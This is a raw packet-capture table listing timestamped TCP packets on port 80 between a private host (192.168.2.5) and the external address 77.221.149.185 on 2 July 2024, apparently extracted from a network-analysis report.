Jul 2, 2024 22:52:28.010318041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.010328054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.010360956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.010385990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.093429089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093467951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093477964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093488932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093498945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093508959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093519926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093605995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093728065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093739033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093751907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093763113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093772888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093782902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.093784094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093782902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.093794107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093810081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.093831062 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.093888044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.094177008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.094187975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.094199896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.094211102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.094221115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.094230890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.094232082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.094257116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.094293118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.332710028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.337841988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.484513998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.484575033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.484584093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.484616041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.484626055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.484636068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.484646082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.484661102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.484664917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.484699965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.485050917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485060930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485071898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485081911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485094070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485099077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485104084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485121965 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.485141039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.485146999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485156059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485162020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485188007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.485353947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485363007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485373020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485383034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485392094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485403061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485413074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485418081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.485450029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.485666990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485677004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485686064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485815048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485825062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485831976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.485833883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485845089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485855103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485863924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.485878944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.485888958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486048937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486107111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486176014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486186981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486196041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486206055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486216068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486217976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486226082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486229897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486239910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486251116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486263990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486290932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486471891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486483097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486491919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486501932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486510992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486515999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486515999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486557007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486712933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486722946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486748934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486759901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486768007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486769915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486782074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.486790895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486819029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.486979961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487113953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487124920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487135887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487143993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487145901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487157106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487166882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487166882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487175941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487186909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487198114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487199068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487207890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487219095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487236023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487718105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487732887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487742901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487751961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487756968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487761021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487770081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487773895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487783909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487792015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487799883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487801075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487809896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487819910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487823009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487828970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487838984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487839937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487849951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487857103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487867117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487875938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487883091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487884998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487895012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487895966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487905979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.487910986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.487948895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.488697052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488707066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488718033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488732100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488740921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488744020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.488750935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488759995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488769054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488779068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488782883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.488790035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488797903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488804102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.488807917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488816977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488821030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.488822937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488831997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488842010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488851070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488859892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.488862038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.488895893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.488910913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.489533901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489543915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489547968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489557028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489567041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489576101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489578009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.489584923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489595890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489604950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.489607096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489618063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489625931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.489628077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489639044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489648104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489648104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.489658117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.489686966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.489713907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.598675966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598690987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598701000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598731041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.598855019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598864079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598890066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598891020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.598900080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598915100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598926067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598936081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598942995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.598948002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598958969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.598969936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.598990917 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.599107027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.599118948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.599163055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.599677086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.599730015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.599741936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.599761963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.599929094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.599939108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.599947929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.599956989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.599962950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.599986076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601051092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601088047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601106882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601115942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601145983 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601257086 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601267099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601275921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601294041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601304054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601305962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601334095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601475954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601485968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601495981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601510048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601515055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601531982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601665974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601675987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601686954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601696968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601701021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601720095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601898909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601907969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601919889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601927042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601943970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601953983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601955891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601963997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601979017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601989985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.601998091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.601998091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602006912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602022886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.602046967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.602417946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602427959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602438927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602449894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602454901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.602458954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602468014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.602493048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.602629900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602641106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602648973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602658987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602669001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602678061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602685928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.602689028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602699041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.602710009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.602735043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.603121996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603132010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603141069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603151083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603161097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603171110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603176117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.603179932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603189945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603199005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603205919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.603208065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603216887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603228092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603228092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.603236914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603245974 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.603246927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603256941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603260994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.603267908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603276968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.603280067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.603298903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.603991032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604001045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604011059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604020119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604026079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604029894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604039907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604048967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604049921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604058981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604068041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604077101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604079962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604085922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604095936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604096889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604104996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604115009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604125023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:28.604125977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:28.604156017 CEST	49712	80	192.168.2.5	77.221.149.185
